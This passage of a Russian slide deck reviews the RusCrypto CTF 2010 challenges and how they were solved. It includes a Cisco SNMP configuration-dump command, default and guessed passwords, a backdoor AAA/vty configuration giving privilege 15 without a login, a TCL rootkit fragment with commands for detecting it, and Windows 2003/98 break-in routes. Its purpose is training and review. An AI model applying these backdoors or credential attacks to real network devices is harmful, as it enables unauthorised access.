Ноутбуки планировавшиеся для создания трафика были заняты поддержкой выхода в интернет.
Задача была не решаемой.
Описание слайда:
РусКрипто CTF 2010: Точка беспроводного доступа Даже с отключенными настройками безопасности (включая IPS) оборудование Cisco Wireless LAN Controller 2100 (AP Cisco 1240) способно успешно противодействовать атаке на протокол WEP без легитимного трафика пользователей. Ноутбуки планировавшиеся для создания трафика были заняты поддержкой выхода в интернет. Задача была не решаемой.

Слайд 48





РусКрипто CTF 2010: Коммутатор Cisco
Описание слайда:
РусКрипто CTF 2010: Коммутатор Cisco

Слайд 49





РусКрипто CTF 2010: Коммутатор Cisco
Подбор
	Cisco/Cisco; enable zxasqw
Выгрузка конфигурации через SNMP
	snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1
…

Back-door
	...
	aaa authentication login default local-case 	
	aaa authentication login authen none
	...
	line vty 0 3
	 exec-timeout 0 0
	line vty 4
	 exec-timeout 0 0
	 privilege level 15
	 login authentication authen
	...
Описание слайда:
РусКрипто CTF 2010: Коммутатор Cisco Подбор Cisco/Cisco; enable zxasqw Выгрузка конфигурации через SNMP snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1 … Back-door ... aaa authentication login default local-case aaa authentication login authen none ... line vty 0 3 exec-timeout 0 0 line vty 4 exec-timeout 0 0 privilege level 15 login authentication authen ...

Слайд 50





РусКрипто CTF 2010: Коммутатор Cisco
Cisco TCL rootkit
	…
	if { [regexp {^(show|sh) flag\s*(.*)$} $line]} {
        	puts $sock "Flag: \$1\$Or\/\/v5Vx\$Of2lpfkwS1N7AKuz1kXaa\/"
	return [close $sock]
    	} 
	…	
	puts -nonewline $sock "Router# "
	flush $sock
	…
Методы обнаружения:
	# sh proc | i Tcl
	# sh tcp brief all numeric
	# sh control-plane host open-ports
ХАКЕР № 11 (142) «Атака через TCL», Роман Ильин
Описание слайда:
РусКрипто CTF 2010: Коммутатор Cisco Cisco TCL rootkit … if { [regexp {^(show|sh) flag\s*(.*)$} $line]} { puts $sock "Flag: \$1\$Or\/\/v5Vx\$Of2lpfkwS1N7AKuz1kXaa\/" return [close $sock] } … puts -nonewline $sock "Router# " flush $sock … Методы обнаружения: # sh proc | i Tcl # sh tcp brief all numeric # sh control-plane host open-ports ХАКЕР № 11 (142) «Атака через TCL», Роман Ильин

Слайд 51





РусКрипто CTF 2010: Коммутатор Cisco
Дополнительные уязвимости и соответствие CIS
Описание слайда:
РусКрипто CTF 2010: Коммутатор Cisco Дополнительные уязвимости и соответствие CIS

Слайд 52





Практическое занятие часть 2
(192.168.0.10) Cisco


Провести выгрузку используемой конфигурации через протокол SNMP.
Осуществить доступ к коммутатору Cisco с уровнем привилегий «privileges 15».
Описание слайда:
Практическое занятие часть 2 (192.168.0.10) Cisco Провести выгрузку используемой конфигурации через протокол SNMP. Осуществить доступ к коммутатору Cisco с уровнем привилегий «privileges 15».

Слайд 53





РусКрипто CTF 2010: Windows
Описание слайда:
РусКрипто CTF 2010: Windows

Слайд 54





РусКрипто CTF 2010: Windows 2003
Описание слайда:
РусКрипто CTF 2010: Windows 2003

Слайд 55





РусКрипто CTF 2010: Windows 2003
Вектор 1 (долгий):
Подобрать пароль к Radmin (pw: 11111111)
Обезвредить SMS-вирус (http://www.esetnod32.ru/.support/winlock/, http://www.drweb.com/unlocker/, http://support.kaspersky.ru/viruses/deblocker)
Обнаружить и выгрузить rootkit (http://www.eset.com/download/sysinspector, http://www.gmer.net/, http://www.antirootkit.com/, etc)
Найти флаг в каталоге временных файлов
Подобрать пароль к архиву (juancp, etehadd… InsidePro.dic)
Вектор 2 (быстрый):
Подобрать пароль администратора (P@ssw0rd) или воспользоваться эксплойтом
Подключиться через SMB (правила FW и IPSEC запрещают доступ по SMB из «своей сети», но разрешают из «чужой»)
Найти флаг в каталоге временных файлов
Подобрать пароль к архиву (juancp, etehadd… InsidePro.dic)
Описание слайда:
РусКрипто CTF 2010: Windows 2003 Вектор 1 (долгий): Подобрать пароль к Radmin (pw: 11111111) Обезвредить SMS-вирус (http://www.esetnod32.ru/.support/winlock/, http://www.drweb.com/unlocker/, http://support.kaspersky.ru/viruses/deblocker) Обнаружить и выгрузить rootkit (http://www.eset.com/download/sysinspector, http://www.gmer.net/, http://www.antirootkit.com/, etc) Найти флаг в каталоге временных файлов Подобрать пароль к архиву (juancp, etehadd… InsidePro.dic) Вектор 2 (быстрый): Подобрать пароль администратора (P@ssw0rd) или воспользоваться эксплойтом Подключиться через SMB (правила FW и IPSEC запрещают доступ по SMB из «своей сети», но разрешают из «чужой») Найти флаг в каталоге временных файлов Подобрать пароль к архиву (juancp, etehadd… InsidePro.dic)

Слайд 56





РусКрипто CTF 2010: Windows 2003
К слову об уязвимостях…
Описание слайда:
РусКрипто CTF 2010: Windows 2003 К слову об уязвимостях…

Слайд 57





РусКрипто CTF 2010: Windows 98
Подбор пароля к C$ (например, xsharez)
Восстановление данных из PWL-файла администратора (например, repwl)
Описание слайда:
РусКрипто CTF 2010: Windows 98 Подбор пароля к C$ (например, xsharez) Восстановление данных из PWL-файла администратора (например, repwl)

Слайд 58





Хронология событий
Описание слайда:
Хронология событий

Слайд 59





РусКрипто CTF 2010: Хронология начисления баллов на протяжении всего соревнования
Описание слайда:
РусКрипто CTF 2010: Хронология начисления баллов на протяжении всего соревнования

Слайд 60





РусКрипто CTF 2010: Динамика начисления баллов
Описание слайда:
РусКрипто CTF 2010: Динамика начисления баллов

Слайд 61





РусКрипто CTF 2010: Доля незахваченных флагов
Описание слайда:
РусКрипто CTF 2010: Доля незахваченных флагов

Слайд 62





РусКрипто CTF 2010: Баллы, полученные за захват флагов
Описание слайда:
РусКрипто CTF 2010: Баллы, полученные за захват флагов

Слайд 63





РусКрипто CTF 2010: Обеспечение доступности всех сервисов
Описание слайда:
РусКрипто CTF 2010: Обеспечение доступности всех сервисов

Слайд 64





РусКрипто CTF 2010: Резюме
Описание слайда:
РусКрипто CTF 2010: Резюме

Слайд 65





Спасибо за внимание!

Вопросы?

devteev@ptsecurity.ru
http://devteev.blogspot.com/
Описание слайда:
Спасибо за внимание! Вопросы? devteev@ptsecurity.ru http://devteev.blogspot.com/



Похожие презентации
Mypresentation.ru
Загрузить презентацию